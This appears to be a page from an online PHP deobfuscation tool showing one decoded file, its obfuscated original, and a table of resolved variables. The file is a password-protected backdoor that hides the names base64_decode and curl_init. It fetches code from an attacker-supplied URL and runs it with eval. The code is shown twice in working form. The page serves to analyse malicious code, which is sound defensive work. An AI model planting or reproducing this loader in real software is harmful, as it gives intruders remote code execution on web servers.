Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $PAT='i'; $xNgur='l'; $yl='6'; $hn='_'; $q='o'; $DVe='e'; $VujVi='f'; ..

Decoded Output download

<?php  
$PAT='i';  
$xNgur='l';  
$yl='6';  
$hn='_';  
$q='o';  
$DVe='e';  
$VujVi='f';  
$Njf='n';  
$WL='t';  
$hjmv='4';  
$cyx='c';  
$w='b';  
$qb='a';  
$Hn='z';  
$C='s';  
$iEg='g';  
$ZQFv='d';  
$strNX=$w.$qb.$C.$DVe.$yl.$hjmv.$hn.$ZQFv.$DVe.$cyx.$q.$ZQFv.$DVe;  
$c_init='cu'.'rl_'.'init';  
$c_setopt='cur'.'l_set'.'opt';  
$c_exec='cu'.'rl_exe'.'c';  
if(isset($_GET['u']) && isset($_GET['pw'])) 
{ 
if(strtoupper(md5($_GET['pw']))!='5CF40666AA286B63072E8BADE6AD3D7F') 
{ 
exit();  
} 
$ch=$c_init($strNX($_GET['u']));  
$c_setopt($ch,CURLOPT_RETURNTRANSFER,1);  
$r=$c_exec($ch);  
eval('?>'.$r);  
die;  
} 
?>

Did this file decode correctly?

Original Code

<?php 
$PAT='i'; 
$xNgur='l'; 
$yl='6'; 
$hn='_'; 
$q='o'; 
$DVe='e'; 
$VujVi='f'; 
$Njf='n'; 
$WL='t'; 
$hjmv='4'; 
$cyx='c'; 
$w='b'; 
$qb='a'; 
$Hn='z'; 
$C='s'; 
$iEg='g'; 
$ZQFv='d'; 
$strNX=$w.$qb.$C.$DVe.$yl.$hjmv.$hn.$ZQFv.$DVe.$cyx.$q.$ZQFv.$DVe; 
$c_init='cu'.'rl_'.'init'; 
$c_setopt='cur'.'l_set'.'opt'; 
$c_exec='cu'.'rl_exe'.'c'; 
if(isset($_GET['u']) && isset($_GET['pw']))
{
if(strtoupper(md5($_GET['pw']))!='5CF40666AA286B63072E8BADE6AD3D7F')
{
exit(); 
}
$ch=$c_init($strNX($_GET['u'])); 
$c_setopt($ch,CURLOPT_RETURNTRANSFER,1); 
$r=$c_exec($ch); 
eval('?>'.$r); 
die; 
}
?>

Function Calls

md5 1
strtoupper 1

Variables

$C s
$q o
$w b
$Hn z
$WL t
$hn _
$qb a
$yl 6
$DVe e
$Njf n
$PAT i
$cyx c
$iEg g
$ZQFv d
$hjmv 4
$VujVi f
$strNX base64_decode
$xNgur l
$c_exec curl_exec
$c_init curl_init
$c_setopt curl_setopt

Stats

MD5 6f8cf91a738e03e82b24454e87f70388
Eval Count 0
Decode Time 120 ms